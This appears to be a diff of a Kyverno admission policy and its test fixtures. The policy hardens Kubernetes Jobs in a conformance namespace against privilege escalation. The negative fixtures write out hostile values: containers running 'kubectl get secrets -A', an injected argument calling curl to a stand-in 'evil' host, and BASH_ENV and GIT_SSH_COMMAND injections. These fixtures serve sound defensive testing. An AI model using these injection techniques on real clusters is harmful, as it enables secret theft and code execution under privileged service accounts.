# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
#
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
# environment variable on either container.
#
# That is not hypothetical. Both programs the Job runs read their environment:
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
# image (it dies on a mismatch rather than honouring a redirect — which is why the
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
# already closed there, in the image, not here);
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
# thing standing between a caller-chosen env var and the privileged SA.
#
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
# name is what a program keys its behaviour on.
# =========================================================================================
- name: trigger-env-names-must-be-the-committed-set
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may set only the committed environment variables. The runner
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
conformance-runner SA. Widening this list is a reviewed one-line change.
foreach:
- list: "request.object.spec.template.spec.containers[0].env"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONF_ARTIFACTS
- CONF_EMIT_ARTIFACTS_TGZ
- TMPDIR
- HOME
# Flattened across init containers: the rule above already caps them at one, but this
# must not silently stop checking if that cap is ever relaxed.
- list: "request.object.spec.template.spec.initContainers[].env[]"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONFORMANCE_GIT_SHA
- CONFORMANCE_REPO_URL
- CONFORMANCE_SRC
- GITEA_USERNAME
- GITEA_TOKEN
- TMPDIR
- HOME
- name: trigger-may-not-use-envfrom
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
as environment variables, whose KEYS are not visible in the Job at all — which would
make the env-name allowlist above unenforceable by inspection.
deny:
conditions:
any:
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
operator: GreaterThan
value: 0
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
operator: GreaterThan
value: 0
platform/kyverno/tests/conformance-trigger/kyverno-test.yaml
+59
View File
@@ -38,6 +38,30 @@ results:
kind: Job
resources: [good-run, real-template]
result: pass
# `real-template` is the only fixture WITH an init container, so it is the only one this
# rule reports on — a foreach over an absent list yields no result at all, which is why
# `good-run` is not listed here.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [good-run, real-template]
result: pass
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [good-run, real-template]
result: pass
# ---- THE escalation: runner SA + arbitrary command ----
- policy: conformance-trigger-job-shape
@@ -59,3 +83,38 @@ results:
kind: Job
resources: [injected-args]
result: fail
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
# is the coordinator's independent reproduction; keeping it here is what stops the hole
# reopening.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
result: fail
# ---- and via the third container list nobody was reading ----
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [evil-ephemeral-container]
result: fail
# ---- and via `env`, the same mistake a third time ----
# `command` is pinned, so the injection moves to a variable the pinned command honours.
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
# env rule has to exist separately.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [injected-env, injected-initcontainer-env]
result: fail
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [envfrom-whole-secret]
result: fail
platform/kyverno/tests/conformance-trigger/resources.yaml
+243 -8
View File
@@ -7,12 +7,10 @@
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
# securityContext, and the presence of the init container) in step with it.
#
# KNOWN GAP THIS CASE DOES NOT COVER: no rule reads `initContainers`, so this init
# container's command/args/image are unconstrained. Swapping its args for an exfiltration
# one-liner still yields pass 3 / fail 0 — see the OPEN SECURITY GAP block in
# conformance/incluster/chainsaw-job.yaml for the measurement and the follow-up. A DENY
# case is deliberately NOT added here: it would have to assert `pass` today, and would then
# break the very PR that fixes the policy.
# The init container carries NO args: its logic is baked into the runner image at
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
# see `evil-initcontainer` below for the escalation it closes.
apiVersion: batch/v1
kind: Job
metadata:
@@ -29,8 +27,7 @@ spec:
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/bash", "-c"]
args: ["git clone --depth 1 \"$CONFORMANCE_REPO_URL\" \"$CONFORMANCE_SRC\""]
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
@@ -227,3 +224,241 @@ spec:
volumes:
- name: workspace
emptyDir: {}
---
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
# INIT container running as the privileged conformance-runner SA. Before
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
#
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
# Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: sneak
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
privileged: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
# command mean anything, so this must be DENIED even though image and command are correct.
apiVersion: batch/v1
kind: Job
metadata:
name: initcontainer-with-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
args: ["--exec", "curl http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
# and caps the count. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: second-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
- name: also-me
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
# script runs. Everything else here is the committed shape. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: BASH_ENV
value: /workspace/src/conformance/_pwned
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: envfrom-whole-secret
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
envFrom:
- secretRef:
name: anything-in-this-namespace
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
# is the thing that reads them. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-initcontainer-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
- name: GIT_SSH_COMMAND
value: "sh -c 'kubectl get secrets -A'"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
# this case may be unreachable in practice; the rule and this fixture exist because
# "probably rejected upstream" is not a boundary. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-ephemeral-container
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
ephemeralContainers:
- name: debugger
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}